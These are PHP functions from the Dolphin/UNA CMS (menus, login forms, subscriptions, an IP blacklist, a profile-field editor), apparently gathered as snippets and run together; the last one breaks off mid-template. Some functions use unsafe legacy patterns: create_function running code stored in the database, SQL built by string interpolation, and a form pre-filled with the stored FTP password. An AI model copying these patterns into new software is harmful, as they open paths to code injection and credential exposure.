protected function getGhostTemplateVars($aFile, $iProfileId, $iContentId, $oStorage, $oImagesTranscoder) { $sTitle = $this->_oModule->_oDb->getFileTitle($aFile['id']); $a = array('file_title' => $sTitle ? $sTitle : $aFile['file_name']); $a['file_title_attr'] = bx_html_attribute($a['file_title']); return $a; }
function getBlockCode_Cover() { $bUseFeatured = $this->oConfig->getGlParam('cover_featured') == 'on'; $iRows = (int) $this->oConfig->getGlParam('cover_rows'); $iColumns = (int) $this->oConfig->getGlParam('cover_columns'); $iExcess = 20; $iCountRequired = $iRows * $iColumns + $iExcess; $this->oSearch->clearFilters(array('activeStatus', 'allow_view', 'album_status', 'albumType', 'ownerStatus'), array('albumsObjects', 'albums')); if ($bUseFeatured) { $this->oSearch->aCurrent['restriction']['featured'] = array('field' => 'Featured', 'value' => '1', 'operator' => '=', 'param' => 'featured'); } $this->oSearch->aCurrent['paginate']['perPage'] = $iCountRequired; $aFiles = $this->oSearch->getSearchData(); if (empty($aFiles)) { return ''; } $iCount = count($aFiles); if ($iCount < $iCountRequired) { while ($iCount < $iCountRequired) { $aFiles = array_merge($aFiles, $aFiles); $iCount = count($aFiles); } } $sViewUrl = BX_DOL_URL_ROOT . $this->oModule->_oConfig->getBaseUri() . 'view/'; $aTmplVarsImages = array(); foreach ($aFiles as $aFile) { $aTmplVarsImages[] = array('src' => $this->oSearch->getImgUrl($aFile['Hash'], 'browse'), 'link' => $sViewUrl . $aFile['uri'], 'title' => bx_html_attribute($aFile['title'])); } $this->oTemplate->addCss(array('cover.css')); $this->oTemplate->addJs(array('modernizr.js', 'jquery.gridrotator.js')); return $this->oTemplate->parseHtmlByName('cover.html', array('loading' => $GLOBALS['oFunctions']->loadingBoxInline(), 'bx_repeat:images' => $aTmplVarsImages, 'rows' => $iRows, 'columns' => $iColumns)); }
public function getProfilesByAccount($aContentInfo, $iMaxVisible = 2) { $oProfilesQuery = BxDolProfileQuery::getInstance(); $aProfiles = $oProfilesQuery->getProfilesByAccount($aContentInfo['id']); $iProfiles = count($aProfiles); $aTmplVars = array('class_cnt' => '', 'bx_repeat:profiles' => array(), 'bx_if:profiles_more' => array('condition' => $iProfiles > $iMaxVisible, 'content' => array('html_id' => $this->_oConfig->getHtmlIds('profile_more_popup') . $aContentInfo['id'], 'more' => _t('_bx_accnt_txt_more', $iProfiles - $iMaxVisible), 'more_attr' => bx_html_attribute(_t('_bx_accnt_txt_see_more')), 'popup' => ''))); $aTmplVarsPopup = array('class_cnt' => ' bx-def-padding', 'bx_repeat:profiles' => array(), 'bx_if:profiles_more' => array('condition' => false, 'content' => array())); $i = 0; foreach ($aProfiles as $iProfileId => $aProfile) { $oProfile = BxDolProfile::getInstance($iProfileId); if (!$oProfile) { continue; } $sName = $oProfile->getDisplayName(); $aTmplVarsProfile = array('html_id' => $this->_oConfig->getHtmlIds('profile') . $aProfile['id'], 'id' => $oProfile->id(), 'url' => $oProfile->getUrl(), 'name' => $sName, 'name_attr' => bx_html_attribute($sName)); if ($i < $iMaxVisible) { $aTmplVars['bx_repeat:profiles'][] = $aTmplVarsProfile; } if ($i >= $iMaxVisible) { $aTmplVarsPopup['bx_repeat:profiles'][] = $aTmplVarsProfile; } ++$i; } if ($aTmplVarsPopup['bx_repeat:profiles']) { $aTmplVars['bx_if:profiles_more']['content']['popup'] = BxTemplFunctions::getInstance()->transBox('', $this->parseHtmlByName('profiles.html', $aTmplVarsPopup)); } return $this->parseHtmlByName('profiles.html', $aTmplVars); }
function getItemsArray($iLimit = 1) { if (empty($this->aItems)) { $this->load(); } if (isset($GLOBALS['bx_profiler'])) { $GLOBALS['bx_profiler']->beginMenu(ucfirst($this->sName) . ' Menu'); } $iCount = 0; $aTmplVars = array(); foreach ($this->aItems as $aItem) { if (!$this->checkToShow($aItem)) { continue; } $iCount++; if ($iCount > $iLimit) { break; } list($aItem['Link']) = explode('|', $aItem['Link']); $aItem['Caption'] = _t($this->replaceMetas($aItem['Caption'])); $aItem['Link'] = $this->replaceMetas($aItem['Link']); $aItem['Script'] = $this->replaceMetas($aItem['Script']); $aTmplVars[] = array('name' => $aItem['Name'], 'caption' => $aItem['Caption'], 'caption_attr' => bx_html_attribute($aItem['Caption']), 'icon' => $aItem['Icon'], 'link' => $aItem['Script'] ? 'javascript:void(0)' : $this->oPermalinks->permalink($aItem['Link']), 'script' => $aItem['Script'] ? 'onclick="' . $aItem['Script'] . '"' : null, 'target' => $aItem['Target'] ? 'target="_blank"' : null); } if (isset($GLOBALS['bx_profiler'])) { $GLOBALS['bx_profiler']->endMenu(ucfirst($this->sName) . ' Menu'); } return $aTmplVars; }
/** * Get menu items array, which are ready to pass to template. * @return array */ public function getMenuItems() { $aRet = array(); if (!isset($this->_aObject['menu_items'])) { $this->_aObject['menu_items'] = $this->_oQuery->getMenuItems(); } foreach ($this->_aObject['menu_items'] as $a) { if (isset($a['active']) && !$a['active']) { continue; } if (isset($a['visible_for_levels']) && !$this->_isVisible($a)) { continue; } $a['title'] = _t($a['title']); $a = $this->_replaceMarkers($a); $mixedAddon = $this->_getMenuAddon($a); $this->addMarkers(array('addon' => $mixedAddon)); $a = $this->_replaceMarkers($a); list($sIcon, $sIconUrl) = $this->_getMenuIcon($a); $a['class_add'] = $this->_isSelected($a) ? 'bx-menu-tab-active' : ''; $a['link'] = isset($a['link']) ? $this->_oPermalinks->permalink($a['link']) : 'javascript:void(0);'; $a['title_attr'] = bx_html_attribute($a['title']); $a['bx_if:image'] = array('condition' => (bool) $sIconUrl, 'content' => array('icon_url' => $sIconUrl)); $a['bx_if:icon'] = array('condition' => (bool) $sIcon, 'content' => array('icon' => $sIcon)); $a['bx_if:title'] = array('condition' => (bool) $a['title'], 'content' => array('title' => $a['title'])); $a['bx_if:addon'] = array('condition' => (bool) $mixedAddon, 'content' => array('addon' => $mixedAddon)); foreach ($this->_aOptionalParams as $sName => $sDefaultValue) { if (!isset($a[$sName])) { $a[$sName] = $sDefaultValue; } } $aRet[] = $a; } return $aRet; }
/** * Get processed message * * @param $aMessages array * @param $bDeleteAllowed boolean * @param $bBlockAllowed boolean * @return text */ function getProcessedMessages($aMessages = array(), $bDeleteAllowed = false, $bBlockAllowed = false) { global $oFunctions; if (!$aMessages) { return; } $sOutputCode = ''; $aLanguageKeys = array('by' => _t('_bx_shoutbox_by'), 'visitor' => _t('_Visitor'), 'delete' => _t('_bx_shoutbox_delete_message'), 'sure' => _t('_Are_you_sure'), 'block' => _t('_bx_shoutbox_block_ip')); foreach ($aMessages as $iKey => $aItems) { $sMemberIcon = ''; $aProfileInfo = $aItems['OwnerID'] > 0 ? getProfileInfo($aItems['OwnerID']) : array(); // define some profile's data; if ($aProfileInfo) { $sNickName = getNickName($aProfileInfo['ID']); $sLink = getProfileLink($aItems['OwnerID']); $sMemberIcon = $oFunctions->getMemberIcon($aItems['OwnerID']); } else { $sLink = 'javascript:void(0)'; $sNickName = $aLanguageKeys['visitor']; } $aKeys = array('owner_icon' => $sMemberIcon, 'message' => WordWrapStr($aItems['Message']), 'by' => $aLanguageKeys['by'], 'owner_nick' => $sNickName, 'date' => defineTimeInterval($aItems['DateTS'], true, true), 'owner_link' => $sLink, 'bx_if:delete_allowed' => array('condition' => $bDeleteAllowed, 'content' => array('delete_cpt' => bx_html_attribute($aLanguageKeys['delete']), 'sure_cpt' => bx_js_string($aLanguageKeys['sure']), 'message_id' => $aItems['ID'])), 'bx_if:block_allowed' => array('condition' => $bBlockAllowed, 'content' => array('block_cpt' => bx_html_attribute($aLanguageKeys['block']), 'sure_cpt' => bx_js_string($aLanguageKeys['sure']), 'message_id' => $aItems['ID']))); $sTemplateName = $aProfileInfo ? 'message.html' : 'visitor_message.html'; $sOutputCode .= $this->parseHtmlByName($sTemplateName, $aKeys); } return $sOutputCode; }
function getMySubscriptions() { $aUserInfo = getProfileInfo(); $aSubscriptions = $this->_oDb->getSubscriptionsByUser((int) $aUserInfo['ID']); if (empty($aSubscriptions)) { return MsgBox(_t('_Empty')); } $aForm = array('form_attrs' => array('id' => 'sbs-subscriptions-form', 'name' => 'sbs-subscriptions-form', 'action' => bx_html_attribute($_SERVER['PHP_SELF']), 'method' => 'post', 'enctype' => 'multipart/form-data'), 'params' => array(), 'inputs' => array()); $sUnit = ''; $bCollapsed = true; foreach ($aSubscriptions as $aSubscription) { if ($sUnit != $aSubscription['unit']) { if (!empty($sUnit)) { $aForm['inputs'][$sUnit . '_end'] = array('type' => 'block_end'); } $aForm['inputs'][$aSubscription['unit'] . '_begin'] = array('type' => 'block_header', 'caption' => _t('_sbs_txt_title_' . $aSubscription['unit']), 'collapsable' => true, 'collapsed' => $bCollapsed); $sUnit = $aSubscription['unit']; $bCollapsed = true; } $oFunction = create_function('$arg1, $arg2, $arg3', $aSubscription['params']); $aParams = $oFunction($aSubscription['unit'], $aSubscription['action'], $aSubscription['object_id']); $sName = 'sbs-subscription_' . $aSubscription['entry_id']; $aForm['inputs'][$sName] = array('type' => 'custom', 'name' => $sName, 'content' => '<a href="' . $aParams['template']['ViewLink'] . '">' . $aParams['template']['Subscription'] . '</a> <a href="javascript:void(0)" onclick="return unsubscribeConfirm(\'' . $this->_getUnsubscribeLink((int) $aSubscription['entry_id']) . '\');">' . _t('_sys_btn_sbs_unsubscribe') . '</a>', 'colspan' => true); } //'' . . '' $aForm['inputs'][$sUnit . '_end'] = array('type' => 'block_end'); $oForm = new BxTemplFormView($aForm); $sContent = $oForm->getCode(); $GLOBALS['oSysTemplate']->addJsTranslation('_sbs_wrn_unsubscribe'); ob_start(); ?> <script language="javascript" type="text/javascript"> <!-- function unsubscribeConfirm(sUrl){ if(confirm(_t('_sbs_wrn_unsubscribe'))) { $.get( sUrl + '&js=1', {}, function(oData){ alert(oData.message); if(oData.code == 0) window.location.href = window.location.href; }, 'json' ); return true; } else return false; } --> </script> <?php $sContent .= ob_get_clean(); return $sContent; }
/** * constructor */ function __construct($mixedCategory, $sActionUrl = '') { $this->_oDb = $GLOBALS['MySQL']; $this->_sActionUrl = !empty($sActionUrl) ? $sActionUrl : bx_html_attribute($_SERVER['PHP_SELF']) . (!empty($_SERVER['QUERY_STRING']) ? '?' . $_SERVER['QUERY_STRING'] : ''); $this->_mixedCategory = $mixedCategory; $this->_iCategoryActive = 0; $this->_iResultTimer = 3; $this->_aCustomCategories = array('ap' => array('title' => '_getCatTitleAdminPassword', 'content' => '_getCatContentAdminPassword', 'save' => '_saveCatAdminPassword'), 16 => array('save' => '_saveCatWatermark'), 26 => array('on_save' => '_onSavePermalinks')); }
function getUploader($sResult) { $aForm = array('form_attrs' => array('id' => 'module_upload_form', 'action' => bx_html_attribute($_SERVER['PHP_SELF']), 'method' => 'post', 'enctype' => 'multipart/form-data'), 'inputs' => array('header1' => array('type' => 'block_header', 'caption' => _t('_adm_txt_modules_package_to_upload')), 'module' => array('type' => 'file', 'name' => 'module', 'caption' => _t('_adm_txt_modules_module')), 'update' => array('type' => 'file', 'name' => 'update', 'caption' => _t('_adm_btn_modules_update')), 'header2' => array('type' => 'block_header', 'caption' => _t('_adm_txt_modules_ftp_access')), 'login' => array('type' => 'text', 'name' => 'login', 'caption' => _t('_adm_txt_modules_login'), 'value' => getParam('sys_ftp_login')), 'password' => array('type' => 'password', 'name' => 'password', 'caption' => _t('_Password'), 'value' => getParam('sys_ftp_password')), 'path' => array('type' => 'text', 'name' => 'path', 'caption' => _t('_adm_txt_modules_path_to_dolphin'), 'value' => !($sPath = getParam('sys_ftp_dir')) ? 'public_html/' : $sPath), 'submit_upload' => array('type' => 'submit', 'name' => 'submit_upload', 'value' => _t('_adm_box_cpt_upload')))); $oForm = new BxBaseFormView($aForm); $sContent = $oForm->getCode(); if (!empty($sResult)) { $sContent = MsgBox(_t($sResult), 3) . $sContent; } return $GLOBALS['oAdmTemplate']->parseHtmlByName('modules_uploader.html', array('content' => $sContent)); }
public function serviceProfileStats($iProfileId = 0) { if (!$iProfileId) { $iProfileId = bx_get_logged_profile_id(); } $oMenu = BxDolMenu::getObjectInstance('sys_profile_stats'); $oProfile = BxDolProfile::getInstance($iProfileId); $aVars = array('profile_id' => $oProfile->id(), 'profile_url' => $oProfile->getUrl(), 'profile_edit_url' => $oProfile->getEditUrl(), 'profile_title' => $oProfile->getDisplayName(), 'profile_title_attr' => bx_html_attribute($oProfile->getDisplayName()), 'profile_ava_url' => $oProfile->getAvatar(), 'menu' => $oMenu->getCode()); $oTemplate = BxDolTemplate::getInstance(); return $oTemplate->parseHtmlByName('profile_stats.html', $aVars); }
function BxDolTextData(&$oModule) { $this->_oModule = $oModule; $this->_iOwnerId = BxDolTextData::getAuthorId(); $oCategories = new BxDolCategories(); $oCategories->getTagObjectConfig(); $this->_aForm = array('form_attrs' => array('id' => 'text_data', 'name' => 'text_data', 'action' => bx_html_attribute($_SERVER['PHP_SELF']), 'method' => 'post', 'enctype' => 'multipart/form-data'), 'params' => array('db' => array('table' => '', 'key' => 'id', 'uri' => 'uri', 'uri_title' => 'caption', 'submit_name' => 'post')), 'inputs' => array('author_id' => array('type' => 'hidden', 'name' => 'author_id', 'value' => $this->_iOwnerId, 'db' => array('pass' => 'Int')), 'caption' => array('type' => 'text', 'name' => 'caption', 'caption' => _t("_td_caption"), 'value' => '', 'required' => 1, 'checker' => array('func' => 'length', 'params' => array(3, 64), 'error' => _t('_td_err_incorrect_length')), 'db' => array('pass' => 'Xss')), 'snippet' => array('type' => 'textarea', 'html' => 0, 'name' => 'snippet', 'caption' => _t("_td_snippet"), 'value' => '', 'required' => 1, 'checker' => array('func' => 'length', 'params' => array(3, 200), 'error' => _t('_td_err_incorrect_length')), 'db' => array('pass' => 'Xss')), 'content' => array('type' => 'textarea', 'html' => 2, 'name' => 'content', 'caption' => _t("_td_content"), 'value' => '', 'required' => 1, 'checker' => array('func' => 'length', 'params' => array(3, 65536), 'error' => _t('_td_err_incorrect_length')), 'db' => array('pass' => 'XssHtml')), 'when' => array('type' => 'datetime', 'name' => 'when', 'caption' => _t("_td_date"), 'value' => date('Y-m-d H:i'), 'required' => 1, 'checker' => array('func' => 'DateTime', 'error' => _t('_td_err_empty_value')), 'db' => array('pass' => 'DateTime')), 'tags' => array('type' => 'text', 'name' => 'tags', 'caption' => _t("_td_tags"), 'value' => '', 'required' => 1, 'checker' => array('func' => 'length', 'params' => array(3, 64), 'error' => _t('_td_err_incorrect_length')), 'info' => _t('_sys_tags_note'), 'db' => array('pass' => 'Xss')), 'categories' => $oCategories->getGroupChooser($this->_oModule->_oConfig->getCategoriesSystemName(), $this->_iOwnerId, true), 'allow_comment_to' => array(), 'allow_vote_to' => array(), 'post' => array('type' => 'submit', 'name' => 'post', 'value' => _t("_td_post")))); if (!empty($this->_iOwnerId)) { $oPrivacy = new BxDolPrivacy(); $sModuleUri = $this->_oModule->_oConfig->getUri(); $this->_aForm['inputs']['allow_comment_to'] = $oPrivacy->getGroupChooser($this->_iOwnerId, $sModuleUri, 'comment'); $this->_aForm['inputs']['allow_vote_to'] = $oPrivacy->getGroupChooser($this->_iOwnerId, $sModuleUri, 'vote'); } }
function getBuilderPage() { $aPagesForTemplate = array(array('value' => '', 'title' => _t('_adm_txt_pb_select_page'), 'selected' => empty($this->_sPage) ? 'selected="selected"' : '')); $aPages = $this->_getPages(); foreach ($aPages as $r) { $aPagesForTemplate[] = array('value' => $r['page'], 'title' => htmlspecialchars_adv(_t($r['title'])), 'selected' => $r['page'] == $this->_sPage ? 'selected="selected"' : ''); } $sPagesSelector = $GLOBALS['oAdmTemplate']->parseHtmlByName('mobile_builder_pages_selector.html', array('bx_repeat:pages' => $aPagesForTemplate, 'url' => bx_html_attribute(BX_DOL_URL_ADMIN . 'mobileBuilder.php'))); $sPagesSelector = $GLOBALS['oAdmTemplate']->parseHtmlByName('designbox_top_controls.html', array('top_controls' => $sPagesSelector)); if (empty($this->_sPage)) { $this->addExternalResources(); } return $sPagesSelector . (!empty($this->_sPage) ? parent::getBuilderPage() : MsgBox(_t('_Empty'))); }
function getLoginForm() { $oTemplate = BxDolStudioTemplate::getInstance(); $sUrlRelocate = bx_get('relocate'); if (empty($sUrlRelocate) || basename($sUrlRelocate) == 'index.php') { $sUrlRelocate = ''; } $oTemplate->addJsTranslation(array('_adm_txt_login_username', '_adm_txt_login_password')); $sHtml = $oTemplate->parseHtmlByName('login_form.html', array('role' => BX_DOL_ROLE_ADMIN, 'csrf_token' => BxDolForm::genCsrfToken(true), 'relocate_url' => bx_html_attribute($sUrlRelocate), 'action_url' => BX_DOL_URL_ROOT . 'member.php', 'forgot_password_url' => BX_DOL_URL_ROOT . BxDolPermalinks::getInstance()->permalink('page.php?i=forgot-password'))); $sHtml = $oTemplate->parseHtmlByName('login.html', array('form' => $this->transBox('bx-std-login-form-box', $sHtml, true))); $oTemplate->setPageNameIndex(BX_PAGE_CLEAR); $oTemplate->setPageParams(array('css_name' => array('forms.css', 'login.css'), 'js_name' => array('jquery-ui/jquery.ui.position.min.js', 'jquery.form.min.js', 'jquery.dolPopup.js', 'login.js'), 'header' => _t('_adm_page_cpt_login'))); $oTemplate->setPageContent('page_main_code', $sHtml); $oTemplate->getPageCode(); }
function getListTemplate($sCurrent) { $sOutputCode = ""; $aTemplates = get_templates_array(); if (count($aTemplates) < 2) { return $sOutputCode; } $sGetTransfer = bx_encode_url_params($_GET, array('skin')); $aTmplVars = array(); foreach ($aTemplates as $sName => $sTitle) { $aTmplVars[] = array('bx_if:show_icon' => array('condition' => false, 'content' => array()), 'class' => $sName == $sCurrent ? 'sys-bm-sub-item-selected' : '', 'link' => bx_html_attribute($_SERVER['PHP_SELF']) . '?' . $sGetTransfer . 'skin=' . $sName, 'onclick' => '', 'title' => $sTitle); } $sOutputCode .= $GLOBALS['oSysTemplate']->parseHtmlByName('extra_bottom_menu_sub_items.html', array('name_method' => 'Template', 'name_block' => 'template', 'bx_repeat:items' => $aTmplVars)); return PopupBox('sys-bm-switcher-template', _t('_sys_bm_popup_cpt_design'), $sOutputCode); }
function getItems() { $aTmplVars = array(); foreach ($this->aItems as $aItem) { if (!$this->checkToShow($aItem)) { continue; } list($aItem['Link']) = explode('|', $aItem['Link']); $aItem['Caption'] = _t($this->replaceMetas($aItem['Caption'])); $aItem['Link'] = $this->replaceMetas($aItem['Link']); $aItem['Script'] = $this->replaceMetas($aItem['Script']); $aTmplVars[] = array('caption' => $aItem['Caption'], 'caption_attr' => bx_html_attribute($aItem['Caption']), 'icon' => $aItem['Icon'], 'link' => $aItem['Script'] ? 'javascript:void(0)' : $this->oPermalinks->permalink($aItem['Link']), 'script' => $aItem['Script'] ? 'onclick="' . $aItem['Script'] . '"' : null, 'target' => $aItem['Target'] ? 'target="_blank"' : null); } return $GLOBALS['oSysTemplate']->parseHtmlByName('extra_' . $this->sName . '_menu.html', array('bx_repeat:items' => $aTmplVars)); }
function LoginFormAdmin() { global $_page, $_page_cont, $oAdmTemplate; $sUrlRelocate = bx_get('relocate'); if (empty($sUrlRelocate) || basename($sUrlRelocate) == 'index.php') { $sUrlRelocate = ''; } $iNameIndex = 2; $_page = array('name_index' => $iNameIndex, 'css_name' => '', 'header' => _t('_adm_page_cpt_login')); $bLicense = getParam('license_code') != ''; $bFooter = getParam('enable_dolphin_footer') == 'on'; $_page_cont[$iNameIndex]['page_main_code'] = $oAdmTemplate->parseHtmlByName('login.html', array('action_url' => $GLOBALS['site']['url_admin'] . 'index.php', 'relocate_url' => bx_html_attribute($sUrlRelocate), 'bx_if:show_unregistered' => array('condition' => $bFooter, 'content' => array()))); $oAdmTemplate->addCss('login.css'); $oAdmTemplate->addJs('login.js'); PageCodeAdmin(); }
protected function loadData() { $this->setSelected('', $this->_oTemplate->getCode()); $aPage = explode('?', $_SERVER['HTTP_REFERER']); $aPageParams = array(); if (!empty($aPage[1])) { parse_str($aPage[1], $aPageParams); } $aTemplates = get_templates_array(true, true); $aItems = array(); foreach ($aTemplates as $sName => $sTemplate) { $aPageParams['skin'] = $sName; $aItems[] = array('id' => $sName, 'name' => $sName, 'class' => '', 'title' => $sTemplate, 'target' => '_self', 'icon' => '', 'link' => bx_html_attribute(bx_append_url_params($aPage[0], $aPageParams)), 'onclick' => ''); } $this->_aObject['menu_items'] = $aItems; }
protected function loadData() { $sLanguage = BxDolLanguages::getInstance()->getCurrentLangName(); $this->setSelected('', $sLanguage); $aPage = explode('?', $_SERVER['HTTP_REFERER']); $aPageParams = array(); if (!empty($aPage[1])) { parse_str($aPage[1], $aPageParams); } $aLanguages = BxDolLanguagesQuery::getInstance()->getLanguages(false, true); $aItems = array(); foreach ($aLanguages as $sName => $sLang) { $aPageParams['lang'] = $sName; $aItems[] = array('id' => $sName, 'name' => $sName, 'class' => '', 'title' => genFlag($sName) . ' ' . $sLang, 'target' => '_self', 'icon' => '', 'link' => bx_html_attribute(bx_append_url_params($aPage[0], $aPageParams)), 'onclick' => ''); } $this->_aObject['menu_items'] = $aItems; }
function getMySubscriptions() { global $oSysTemplate; $aUserInfo = getProfileInfo(); $aSubscriptions = $this->_oDb->getSubscriptionsByUser((int) $aUserInfo['ID']); if (empty($aSubscriptions)) { return MsgBox(_t('_Empty')); } $sContent = ""; if ((int) $aUserInfo['EmailNotify'] == 0) { $sContent .= MsgBox(_t('_sbs_wrn_email_notify_disabled', BX_DOL_URL_ROOT . 'pedit.php?ID=' . (int) $aUserInfo['ID'])); } $aForm = array('form_attrs' => array('id' => 'sbs-subscriptions-form', 'name' => 'sbs-subscriptions-form', 'action' => bx_html_attribute($_SERVER['PHP_SELF']), 'method' => 'post', 'enctype' => 'multipart/form-data'), 'params' => array(), 'inputs' => array()); $sUnit = ''; $bCollapsed = true; $sTmplRow = $oSysTemplate->getHtml('subscription_row.html'); foreach ($aSubscriptions as $aSubscription) { $oFunction = create_function('$arg1, $arg2, $arg3', $aSubscription['params']); $aParams = $oFunction($aSubscription['unit'], $aSubscription['action'], $aSubscription['object_id']); if (isset($aParams['skip']) && $aParams['skip'] === true) { continue; } if ($sUnit != $aSubscription['unit']) { if (!empty($sUnit)) { $aForm['inputs'][$sUnit . '_end'] = array('type' => 'block_end'); } $aForm['inputs'][$aSubscription['unit'] . '_begin'] = array('type' => 'block_header', 'caption' => _t('_sbs_txt_title_' . $aSubscription['unit']), 'collapsable' => true, 'collapsed' => $bCollapsed); $sUnit = $aSubscription['unit']; $bCollapsed = true; } $sName = 'sbs-subscription_' . $aSubscription['entry_id']; $aForm['inputs'][$sName] = array('type' => 'custom', 'name' => $sName, 'content' => $oSysTemplate->parseHtmlByContent($sTmplRow, array('js_object' => $this->_sJsObject, 'obj_link' => $aParams['template']['ViewLink'], 'obj_title' => $aParams['template']['Subscription'], 'unsbs_link' => $this->_getUnsubscribeLink($aSubscription['entry_id']))), 'colspan' => true); } $aForm['inputs'][$sUnit . '_end'] = array('type' => 'block_end'); $oForm = new BxTemplFormView($aForm); $sContent .= $oForm->getCode(); $sContent .= $this->_getJsCode(); $GLOBALS['oTopMenu']->setCurrentProfileID((int) $aUserInfo['ID']); $oSysTemplate->addJs(array('BxDolSubscription.js')); $oSysTemplate->addCss(array('subscription.css')); $oSysTemplate->addJsTranslation('_sbs_wrn_unsubscribe'); return $oSysTemplate->parseHtmlByName('default_margin.html', array('content' => $sContent)); }
function GenIPBlackListTable() { $sSQL = "SELECT *, FROM_UNIXTIME(`LastDT`) AS `LastDT_U` FROM `sys_ip_list` ORDER BY `From` ASC"; $rIPList = db_res($sSQL); $aTmplVarsItems = array(); while ($aIPList = mysql_fetch_assoc($rIPList)) { $iID = (int) $aIPList['ID']; $sFrom = long2ip($aIPList['From']); $sTo = $aIPList['To'] == 0 ? '' : long2ip($aIPList['To']); $sType = process_html_output($aIPList['Type']); $sLastDT_Formatted = getLocaleDate($aIPList['LastDT'], BX_DOL_LOCALE_DATE); $sLastDT = preg_replace('/([\\d]{2}):([\\d]{2}):([\\d]{2})/', '$1:$2', $aIPList['LastDT_U']); $sDesc = process_html_output($aIPList['Desc']); $sDescAttr = bx_html_attribute(bx_js_string($aIPList['Desc'], BX_ESCAPE_STR_APOS)); $aTmplVarsItems[] = array('id' => $iID, 'from' => $sFrom, 'to' => $sTo, 'type' => $sType, 'date' => $sLastDT, 'date_uf' => $sLastDT_Formatted, 'description' => $sDesc, 'description_attr' => $sDescAttr, 'delete_action_url' => bx_append_url_params($this->_sActionUrl, array('action' => 'apply_delete', 'id' => $iID))); } if (empty($aTmplVarsItems)) { return MsgBox(_t('_Empty')); } return $GLOBALS['oAdmTemplate']->parseHtmlByName('ip_blacklist_list_filters.html', array('bx_repeat:items' => $aTmplVarsItems)); }
function genFieldEditForm($iItemID) { $sQuery = "\n SELECT\n `Name`,\n `Type`,\n `Control`,\n `Extra`,\n `Min`,\n `Max`,\n `Values`,\n `UseLKey`,\n `Check`,\n `Unique`,\n `Default`,\n `Mandatory`,\n `Deletable`,\n `MatchField`,\n `MatchPercent`" . ($this->areaEditAddCols ? ', `' . implode('`, `', $this->areaEditAddCols) . '`' : '') . "\n\n FROM `sys_profile_fields` WHERE `ID` = {$iItemID}"; $aField = db_assoc_arr($sQuery); if (!$aField) { echo _t('_adm_fields_error_field_not_found'); return; } $sGeneralC = _t('_adm_fields_general'); $sAdvancedC = _t('_adm_fields_advanced'); $sMessagesC = _t('_adm_fields_messages'); $sMatchingC = _t('_adm_fields_matching'); $sNameC = _t('_adm_mbuilder_System_Name'); $sCaptionC = _t('_Caption'); $sDescriptionC = _t('_Description'); $sNameDescC = _t('_adm_fields_name_desc'); $sTypeC = _t('_Type'); $sJoinPageC = _t('_adm_fields_join_page'); $sSearchInFieldsC = _t('_adm_fields_search_in_fields'); $sSearchInFieldsDescC = _t('_adm_fields_search_in_fields_desc'); $sMutualCpFieldsC = _t('_adm_fields_mutual_couple_fields'); $sMutualCpFieldsDescC = _t('_adm_fields_mutual_couple_fields_desc'); $sSureDeleteItemC = addslashes(_t('_adm_fields_delete_item_desc')); // field title and description $this->fieldCaption = "_FieldCaption_{$aField['Name']}_{$this->areaPageName}"; // _FieldCaption_Sex_Join $this->fieldDesc = "_FieldDesc_{$aField['Name']}_{$this->areaPageName}"; // _FieldDesc_Sex_Join $this->showFormTabs = ($aField['Type'] != 'block' and $aField['Type'] != 'system'); $sCaptionDescC = _t('_adm_fields_caption_desc', $this->areaPageName, $this->fieldCaption); $sDescriptionDescC = _t('_adm_fields_description_desc', $this->areaPageName, $this->fieldDesc); ?> <input type="hidden" name="action" value="saveItem" /> <input type="hidden" name="id" value="<?php echo $iItemID; ?> " /> <input type="hidden" name="area" value="<?php echo $this->iAreaID; ?> " /> <?php if ($this->showFormTabs) { ?> <ul id="form_tabs_switcher"> <li><a href="#f1"><?php echo $sGeneralC; ?> </a></li> <li><a href="#f2"><?php echo $sAdvancedC; ?> </a></li> <li><a href="#f3"><?php echo $sMessagesC; ?> </a></li> <li><a href="#f4"><?php echo $sMatchingC; ?> </a></li> </ul> <?php } ?> <table class="field_edit_tab" id="f1"> <!-- General --> <tr> <td class="label"><?php echo $sNameC; ?> :</td> <td class="value"> <input type="text" maxlength="255" class="input_text" name="Name" value="<?php echo htmlspecialchars($aField['Name']); ?> " <?php if ($aField['Type'] == 'system' or !$aField['Deletable']) { echo 'readonly="readonly"'; } ?> /> </td> <td class="info"> <?php if ($aField['Type'] != 'block' and $aField['Type'] != 'system') { echo $this->getInfoIcon(addslashes($sNameDescC)); } else { echo ' '; } ?> </td> </tr> <tr> <td class="label"><?php echo $sCaptionC; ?> :</td> <td class="value"> <input type="text" maxlength="255" class="input_text" name="Caption" value="<?php echo htmlspecialchars($this->getLangString($this->fieldCaption)); ?> " /> </td> <td class="info"> <?php echo $this->getInfoIcon(addslashes($sCaptionDescC)); ?> </td> </tr> <tr> <td class="label"><?php echo $sDescriptionC; ?> :</td> <td class="value"> <textarea class="input_text" name="Desc"><?php echo htmlspecialchars($this->getLangString($this->fieldDesc)); ?> </textarea> </td> <td class="info"> <?php echo $this->getInfoIcon(addslashes($sDescriptionDescC)); ?> </td> </tr> <?php if ($aField['Type'] == 'block') { if ($this->iAreaID == 1) { //Join ?> <tr> <td class="label"><?php echo $sJoinPageC; ?> :</td> <td class="value"> <?php echo $this->getJoinPagesSelector($aField['JoinPage']); ?> </td> <td class="info"> </td> </tr> <?php } } else { ?> <tr> <td class="label"><?php echo $sTypeC; ?> :</td> <td class="value"> <?php if ($aField['Type'] == 'system') { echo 'System'; } else { ?> <select name="Type" class="select_type" onchange="changeFieldType( this.value );"> <?php echo $this->getTypeOptions($aField['Type']); ?> </select> <?php } ?> </td> <td class="info"> </td> </tr> <?php } //system fields properties if ($aField['Name'] == 'Keyword') { ?> <tr> <td class="label"><?php echo $sSearchInFieldsC; ?> :</td> <td class="value"> <select name="KeywordFields[]" class="select_multiple" multiple="multiple"> <?php echo $this->getFieldsOptionsList($aField['Extra'], 'Keyword'); ?> </select> </td> <td class="info"> <?php echo $this->getInfoIcon(addslashes($sSearchInFieldsDescC)); ?> </td> </tr> <?php } elseif ($aField['Name'] == 'Couple') { ?> <tr> <td class="label"><?php echo $sMutualCpFieldsC; ?> :</td> <td class="value"> <select name="CoupleFields[]" class="select_multiple" multiple="multiple"> <?php echo $this->getFieldsOptionsList($aField['Extra'], 'Couple'); ?> </select> </td> <td class="info"> <?php echo $this->getInfoIcon(addslashes($sMutualCpFieldsDescC)); ?> </td> </tr> <?php } ?> </table> <?php if ($this->showFormTabs) { $this->genFormAdvTab($aField); $this->genFormMiscTab($aField); $this->genFormMatchTab($aField); } ?> <table class="field_edit_tab bx-def-margin-sec-top"> <!--Controls--> <tr> <td class="label"> </td> <td class="buttons"> <input type="submit" name="action-save" value="<?php echo bx_html_attribute(_t('_Save')); ?> " class="bx-btn bx-btn-small" /> <?php if 